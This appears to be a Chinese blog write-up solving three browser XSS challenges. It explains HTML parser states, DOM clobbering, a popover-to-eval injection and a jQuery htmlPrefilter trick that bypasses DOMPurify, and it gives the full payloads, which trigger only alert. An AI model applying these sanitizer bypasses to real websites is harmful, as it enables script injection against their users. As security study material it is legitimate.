XSS Game
摘要:let text = new URL(location).searchParams.get('text') let img = new URL(location).searchParams.get('img') if (text && img) { document.write( `
${text}
過年期間玩了一下國外的一個 XSS GAME,收穫頗豐,記錄一下學習過程。本人對於 JavaScript 以及前端的理解不深,水平也不高,如果文章有疏漏之處,還請師傅們斧正。
Introduction
所有題目的目標都是實現alert(1337)即可,有着不同的難度
Area 51
<!-- Challenge --> <div id="pwnme"></div> <script> var input = (new URL(location).searchParams.get('debug') || '').replace(/[\!\-\/\#\&\;\%]/g, '_'); var template = document.createElement('template'); template.innerHTML = input; pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->"; </script>
題目源代碼如上,題目代碼比較簡單,首先對用戶傳入的 debug 參數進行關鍵字過濾轉換,對於!-/#&;%符號都會被下劃線替代,然後創建一個 template 標籤,標籤的 HTML 內容爲我們傳入的內容,最後在一個 div 中,把構建好的 template 標籤輸出在一個註釋當中。
所以我們的主要得繞過註釋符的限制,由於<!–是多行註釋,所以換行的思路我們基本不可行,即使沒有把–過濾,JS也會在第一步template.innerHTML將我們的–>中的>進行轉義。所以基本上我們可以“直接“閉合的思路是行不通的。
首先我們需要知道 HTML 解析順序,首先先解析 HTML 部分代碼,再用 JS 解釋器 JS 代碼,JS解釋器會邊解釋邊執行,對於 innerHTML 會使用 HTML parser 解析其中的代碼。本題會利用到一些 HTML parser 的知識,建議配合 W3 文檔 The HTML syntax ,不想看英文的話也可以湊合湊合看看本菜之前寫的 關於 HTML 編碼 的水文。
Easy Version
我們先來看看第一個簡單的版本,當時由於出題者比較疏忽,並沒有過濾&#;,導致了我們可以用 HTML 實體編碼進行繞過,直接閉合註釋進而實現 alert ,例如,在沒有過濾&#;的情況,我們可以這麼做:
<img title="--><svg/onload=alert()>">1
使用 HTML 編碼將我們的 payload 進行編碼繞過
--><svg/onload=alert()>
但是這裏我們並不能直接傳入 HTML 編碼繞過,得需要加一個 img 標籤利用其屬性進行繞過,爲什麼呢?
因爲這裏其實有兩次 HTML 解碼的操作,第一個是template.innerHTML,第二個是pwnme.innerHTML,第一個解碼操作會直接把我們傳入的參數進行解碼,並且對其中的<>進行轉義,也就是說,實際上第一個得到的是如下內容:
--><svg/onload=alert()>
在第二步渲染的時候就自然不可能閉合註釋了,只能得到如下代碼:
<!-- <p> DEBUG: <template>--><svg/onload=alert()></template> </p> -->
所以當我們藉助 img 屬性進行繞過的時候,第一步得到的實際上是:
<img title="--><svg/onload=alert()>">1
HTML parser不會將 title 屬性內的字符串進行轉義,所以第二步當直接輸出到頁面的時候
<!-- <p> DEBUG: <template><img title="--><svg onload="alert()">">1 </svg><p></p> -->
然後當 HTML parser 解析這段代碼時,首先由<!的存在,會進入 Markup declaration open state ,中間的代碼<p> DEBUG: <template><img title=”會讓 HTML parser 進入一些其他關於 comment 的狀態,這些都無關緊要,最後的–>讓 HTML parser 進入到了 Comment End State ,根據 W3 文檔:
8.2.4.51. Comment end state
Consume the next input character :
- U+003E GREATER-THAN SIGN (>)
- Switch to the data state . Emit the comment token.
接着我們就進入到了 data state ,也就是結束了註釋解析狀態回到了最開始的 HTML 解析狀態,這樣就導致我們就成功逃逸了註釋符。
Difficult Version
再過濾了實體編碼&#;之後我們要怎麼繞過呢?我們先給出一個 Trick ,在這裏我們可以使用<?進行繞過。
可以看到我們在使用了<?之後成功把 p 標籤逃逸了出來,可是爲什麼呢?我們可以輸出第一步的template.innerHTML看看
我們可以發現在第一步渲染的時候,傳入的<?已經變成了<!–?–>,存在–>可以將註釋閉合。可是這是爲什麼呢?
在template.innerHTML = input的時候,會解析input,然後使用 HTML parser 解析,根據 W3 文檔
Implementations must act as if they used the following state machine to tokenize HTML. The state machine must start in the data state .
解析到<的時候,HTML parser 正處於 data state
8.2.4.1. Data state
Consume the next input character :
- U+0026 AMPERSAND (&)
- Set the return state to the data state . Switch to the character reference state .
- U+003C LESS-THAN SIGN (<)
- Switch to the tag open state .
- U+0000 NULL
- Parse error . Emit the current input character as a character token.
- EOF
- Emit an end-of-file token.
- Anything else
- Emit the current input character as a character token.
於是進入 tag open state
8.2.4.6. Tag open state
Consume the next input character :
- U+0021 EXCLAMATION MARK (!)
- Switch to the markup declaration open state .
- U+002F SOLIDUS (/)
- Switch to the end tag open state .
- Create a new start tag token, set its tag name to the empty string. Reconsume in the tag name state .
- U+003F QUESTION MARK (?)
- Parse error . Create a comment token whose data is the empty string. Reconsume in the bogus comment state .
- Anything else
- Parse error . Emit a U+003C LESS-THAN SIGN character token. Reconsume in the data state .
下一個字符是?,根據文檔,HTML parser 會創建一個空的 comment token,進入 bogus comment state ,
8.2.4.41. Bogus comment state
Consume the next input character :
- U+003E GREATER-THAN SIGN (>)
- Switch to the data state . Emit the comment token.
- EOF
- Emit the comment. Emit an end-of-file token.
- U+0000 NULL
- Append a U+FFFD REPLACEMENT CHARACTER character to the comment token’s data.
- Anything else
- Append the current input character to the comment token’s data.
下一個字符是 anything else,會將這個字符插入到剛剛的 comment 中,也就是我們上圖看到的<!–?–>,例如輸入是aaa<?bbb>ccc的時候,解析到第 i 個字符時,innerHTML 的結果是這樣的:
a aa aaa aaa< aaa<!--?--> aaa<!--?b--> aaa<!--?bb--> aaa<!--?bbb--> aaa<!--?bbb--> aaa<!--?bbb-->c aaa<!--?bbb-->cc aaa<!--?bbb-->ccc
直到該狀態遇到了>爲止,回到 data state。注意這個 Bogus comment state 解析到>的時候會直接回到 data state,也就是 HTML parser 最開始解析的狀態,這個時候我們就可以插入 HTML 代碼了。
當我們傳入<?><svg onload=alert()>時,第一步template.innerHTML我們得到的是
<!--?--><svg onload="alert()"></svg>
第二步pwnme.innerHTML我們得到的是
<!-- <p> DEBUG: <template><!--?--><svg onload="alert()"></svg> <p></p> -->
這時候 HTML parser 解析與我們在 Easy Version 分析差不多,只有遇到–>的時候結束 Comment State 相關狀態回到 data state,所以我們就成功執行了 XSS。
Keanu
<!-- Challenge --> <number id="number" style="display:none"></number> <div class="alert alert-primary" role="alert" id="welcome"></div> <button id="keanu" class="btn btn-primary btn-sm" data-toggle="popover" data-content="DM @PwnFunction" data-trigger="hover" onclick="alert(`If you solved it, DM me @PwnFunction :)`)">Solved it?</button> <script> /* Input */ var number = (new URL(location).searchParams.get('number') || "7")[0], name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true }); $('number#number').html(number); $('#welcome').html(`Welcome <b>${name || "Mr. Wick"}!</b>`); /* Greet */ $('#keanu').popover('show') setTimeout(_ => { $('#keanu').popover('hide') }, 2000) /* Check Magic Number */ var magicNumber = Math.floor(Math.random() * 10); var number = eval($('number#number').html()); if (magicNumber === number) { alert("You're Breathtaking!") } </script>
本題題目引入了四個 js 文件:
<!-- DOMPurify(2.0.7) --> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js" integrity="sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=" crossorigin="anonymous"></script> <!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.1) --> <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
這個題目也比較有意思,額外給我們增加的這幾個 js 文件,也就是說這幾個文件就是這道題我們可能需要用的工具了。
Purify.js 是一個 XSS WAF,Popper.js是一個用於構造提示的組件,題目中也給了一個簡單的使用 popper 的例子,Jqeury.js 與 Bootstrap 就不多說了。
首先我們來看我們的可控點,一個是 name 參數,另一個是 number 參數。然而 number 參數我們卻只能使用一位,而 name 參數雖然任意長度可控,但是要經過 XSS WAF 過濾。雖然之前有一些利用 mxss bypass Domprify 的事例,但是都是在 2.0 左右的版本,這裏的 2.0.7 又是最新的版本,應該不會是什麼新的繞過,否則 number 參數與最後的 eval($(“number#number”).html()); 就沒用了,並且還有一些其他工具我們沒有用上。
所以我們應該能用到的就是通過最後一個eval($(“number#number”).html())進行 XSS ,而 number 我們可控的只有一位,我們可能得想一些其他辦法添加 number 標籤當中的內容。
我們可以看到 popper document 結合題目給出的那個例子,我們可以發現貌似這個 popper.js 可以滿足我們添加新內容條件,而在文檔 options 部分,我們可以到有一些我們值得關注的參數:
Name | Type | Default | Description |
container | string | element | false | false | Appends the popover to a specific element. Example: container: ‘body’. This option is particularly useful in that it allows you to position the popover in the flow of the document near the triggering element – which will prevent the popover from floating away from the triggering element during a window resize. |
content | string | element | function | ” | Default content value if data-content attribute isn’t present.If a function is given, it will be called with its this reference set to the element that the popover is attached to. |
我們可以從文檔知道,我們可以通過data-container來控制 popover 的位置,data-content來控制內容,於是我們是不是可以有一個想法把這個 popover 弄到 number 標籤當中呢?於是我們可以嘗試構造如下 payload :
<button id="keanu" data-toggle="popover" data-container="#number" data-content="hello">
利用題目中原有的$(“#keanu”).popover(“show”);來觸發我們的 popover ,我們暫且先註釋掉題目當中的延遲關閉的功能以便於我們觀察。
儘管 eval 執行出錯,但是我們可以發現 number 標籤當中確實被我們注入了一些其他的內容
7<div class="popover fade bs-popover-right show" role="tooltip" id="popover238474" x-placement="right" style="position: absolute;"><div class="arrow"></div><h3 class="popover-header"></h3><div class="popover-body">hello</div></div>
我們這樣我們簡化一下這個內容:7<template>hello</template>,我們可控的地方就是 7 與 hello ,<template>就是 popper.js 實現的 popover 功能的代碼,這個我們不需要關注,所以這樣問題就變成了如何在$str=”$1<template>$any</template>”;eval($str);當中執行代碼的問題了。
到這裏其實答案已經呼之欲出了,既然是在eval當中,我們可以利用第一位爲單引號,由於中間$any我們任意可控,後面再用一個單引號將<template>變成字符串,//註釋掉後面的</template>即可,整個 payload 即是'<tamplate>’;alert();//</tamplate>。
所以我們需要這麼構造一個元素:
<button id="keanu" data-toggle="popover" data-container="#number" data-content="';alert(1);//">
即可實現 XSS,所以 payload:
number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">
WW3
<!-- Challenge --> <div> <h4>Meme Code</h4> <textarea class="form-control" id="meme-code" rows="4"></textarea> <div id="notify"></div> </div> <script> /* Utils */ const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, ''); const memeTemplate = (img, text) => { return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+ `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+ `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+ `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+ `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`) } const memeGen = (that, notify) => { if (text && img) { template = memeTemplate(img, text) if (notify) { html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`) } setTimeout(_ => { $('#status').remove() notify ? ($('#notify').html(html)) : '' $('#meme-code').text(template) }, 1000) } } </script> <script> /* Main */ let notify = false; let text = new URL(location).searchParams.get('text') let img = new URL(location).searchParams.get('img') if (text && img) { document.write( `<div class="alert alert-primary" role="alert" id="status">`+ `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+ `Creating meme... (${DOMPurify.sanitize(text)})</div>` ) } else { $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter')) } </script>
這個題目讓我深深地體會到了 JavaScript 的惡意…先放個圖,大家自行先體會一下,然後我們開始分析一下題目。
題目用比較多的代碼做了一個獲取圖片以及輸出自定義 text 的功能,仍舊是上題的四個外部 JS 文件,以及一大段 JS 代碼。本題涉及到 JavaScript 比較多的黑魔法,我們一個個來看看。
審計代碼,我們可以先看到題目定義了幾個函數
const escape = dirty => unescape(dirty).replace(/[<>'"=]/g, "");
用來過濾我們的 img 參數
const memeTemplate = (img, text) => { return ( `<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');` + `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}` + `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;` + `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>` + `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>` ); };
用來將我們傳入的 img & text 參數構造一個 HTML 模版
const memeGen = (that, notify) => { if (text && img) { template = memeTemplate(img, text); if (notify) { html = `<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize( text )}</div>`; } setTimeout(_ => { $("#status").remove(); notify ? $("#notify").html(html) : ""; $("#meme-code").text(template); }, 1000); } };
用來進行 DOM 元素操作等,看起來我們的目標就是setTimeout函數中通過$(“#notify”).html(html)來執行代碼了,所以我們可能需要想辦法把 notify 參數設置爲 true。
DOM Clobbering
首先我們先來看看幾個比較有趣的例子:
根據 MDN 文檔
The domain property of the Document interface gets/sets the domain portion of the origin of the current document, as used by the same origin policy .
這裏的document.domain並沒有獲取到我的域名zedd.vv,反而是獲取到了 img 標籤,然後我們可以直接輸出 document 對象來看看是怎麼回事
通過這個例子我們可以知道,可以通過一些標籤的 id(name) 屬性來控制 document(window) 通過 DOM API(BOM API) 獲取到的某個東西
我查閱過相關資料,也詢問過一些前端的專業人員,這裏給我的解釋是”document 和 window 兩個變量,其實是 DOM 和 BOM 的規範,一般來說這兩個不應該被當做普通的 JS 對象,但是規範與實現不同”,”都是因爲上古遺留問題,現在哪有直接寫 document.xxx 來獲取元素的,TS 和 eslint 都會報錯”。
這種操作具體可以參考 dom-clobbering ,不算是新的攻擊手法,但是有效,我們可以通過利用這種 Trick 來實現一些操作。
setTimeout
我們瞭解了 Dom Clobbering 之後,我們可以先看看可以怎麼通過setTimeout來利用
<div id="a"></div> <script> a.innerHTML = new URL(location).searchParams.get('b'); setTimeout(ok, 2000) </script>
簡化了一下題目代碼,對於以上的代碼,我們可以通過利用 Dom Clobbering 來實現 XSS ,因爲我們可以直接傳入 id 爲 ok 的標籤進行 XSS ,例如傳入
<a id=ok href=javascript:alert()>
可是爲什麼呢?
根據 MDN 文檔,setTimeout的第一個參數,必須是個函數或字符串。可是根據 Dom Clobbering ,這裏的ok應該是一個 a 標籤,既然這不是個函數,它就嘗試用toString方法轉換成字符串,而根據 MDN 文檔 HTMLAnchorElement
HTMLHyperlinkElementUtils.toString()
Returns a USVString containing the whole URL. It is a synonym for HTMLHyperlinkElementUtils.href , though it can’t be used to modify the value.
而當 a 標籤通過toString()方法轉換我們可以得到它的 href 屬性,也就是javascript:alert(),所以我們就可以執行代碼了。
notify
好了,回到我們的 notify 上,雖然我們可以通過 DOM Clobbering 進行“污染”一些參數,但是題目直接規定了let notify = false,瀏覽器當然也不可能允許我們修改服務端的代碼,這可怎麼辦?
其實這裏的 notify 比較具有誤導性,比較像 C 語言入門的時候函數傳參部分,我們把整個代碼改一下:
<script> const memeGen = (that, notify) => { if (text && img) { template = memeTemplate(img, text); if (notify) { //... } } }; </script> <script> /* Main */ let notify = false; let text = new URL(location).searchParams.get("text"); let img = new URL(location).searchParams.get("img"); if (text && img) { document.write( `<div class="alert alert-primary" role="alert" id="status">` + `<img class="circle" src="${escape( img )}" onload="memeGen(this, notify)">` + `Creating meme... (${DOMPurify.sanitize(text)})</div>` ); } else { $("#meme-code").text( memeTemplate( "https://i.imgur.com/PdbDexI.jpg", "When you get that WW3 draft letter" ) ); } </script>
再簡化一下就成了我們的 C 語言函數傳參的練習題了
const memeGen = (that, x) => { if (x) { //... } };
爲了易於理解我們可以寫成這樣就不易弄混了,所以,對於memeGen來說,notify只是一個參數變量名,區別於我們一開始提到的 Javascript Scope 部分,該函數內的notify參數變量取決於該函數所在的作用域。
而對於memeGen函數來說,它的作用域並非是在let notify = false所處的 JS 代碼域當中,而是在通過document.write函數之後的作用域,所以這裏就涉及到了作用域的問題。
JavaScript Scope
所以對於執行document.write函數過後,也就是對於onload=memeGen函數來說,其作用域並非是 JS 的作用域,在題目中本來這麼幾個作用域:window、script、onload,其中 window 包含了後兩個,後兩個互不包含,所以這裏在 onload 找不到 notify 變量,就會去 window 的作用域找,就會把 script 作用域當中的 notify 給找到,notify 變量也就成 false 了。
我們也可以通過一個簡單的例子來理解:
<div name=x></div> <script> const test = (that,x) => { console.log("Test'x: " + x); if(x){ console.log("JS Magic"); } }; </script> <script> let x = false; console.log("JS'x: " + x); document.write("<img src=x onerror=test(this,x)>"); </script>
原理都是一樣的,這裏test函數在onerror作用域找到了 x 變量,所以就不會再去找 window 作用域下的 x=false變量了,所以本題我們需要引入一個name=notify的標籤來“覆蓋”掉原來的 notify 變量。
其實這也是一開始我們可以發現題目給出的代碼有一處也比較神奇就是 text & img
const memeGen = (that, notify) => { if (text && img) { template = memeTemplate(img, text); ... } };
memeGen函數在函數內找不到text,onload 的作用域也找不到text,就會去 script下面找,而多個 script 屬於同一個作用域,所以對於函數當中的 text 以及 img ,它是在下一塊 JS 代碼段定義的。
<script> let notify = false; let text = new URL(location).searchParams.get("text"); let img = new URL(location).searchParams.get("img"); ... </script>
JQuery’s ‘mXSS’
所以基本上 notify 的問題我們解決了,接下來就是 DOM Purify 的問題了。
我們可以知道最終我們要插入的代碼是通過$(“#notify”).html(html)來插入的,而參數 html 又來自
html = `<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`;
簡單跟一下 JQuery 的 html() 函數,我們可以發現有以下利用鏈:
html() -> append() -> doManip() -> buildFragment() -> htmlPrefilter()
在 htmlPrefilter() 函數中我們可以看到有這麼一段代碼:
// source of htmlPrefilter() jQuery.extend( { htmlPrefilter: function( html ) { return html.replace( rxhtmlTag, "<$1></$2>" ); }, ...
這段代碼就是用來轉換一些自閉合標籤的標籤,例如<blah/>變成<blah></blah>,我們就可以利用這個特性來實現一些繞過,例如:
<style><style/>Elon
經過innerHTML會變成
<style> <style/>Elon </style>
但是經過 jquery html() 就會變成
<style> <style> </style> Elon
我們可以發現通過html()可以把一些自閉合的拆分,以及把內容轉換出去,有點類似於 mXSS ,最終我們得到的是
<style><style></style>Elon</style>
所以我們可以利用這個特性繞過 XSS WAF,例如以下
<style><style/><script>alert()//
經過DOMPurify.sanitize我們可以得到
<style><style/><script>alert(1337)//</style>
經過 jquery html()到最終渲染頁面就變成了
<style><style></style><script>alert(1337)//</style></div></script></div></div>
所以這就是 JQuery’s 類似於 mXSS 的 trick
綜上所述,配合我們之前的內容,最終 payload 如下:
<img name=notify><style><style/><script>alert()//
最終傳參:
img=valid_img_url&text=<img name%3dnotify><style><style%2F><script>alert()%2F%2F
這裏我也不是非常清楚作者爲啥要加一個 img 參數//全程沒有用到
最後再來一遍: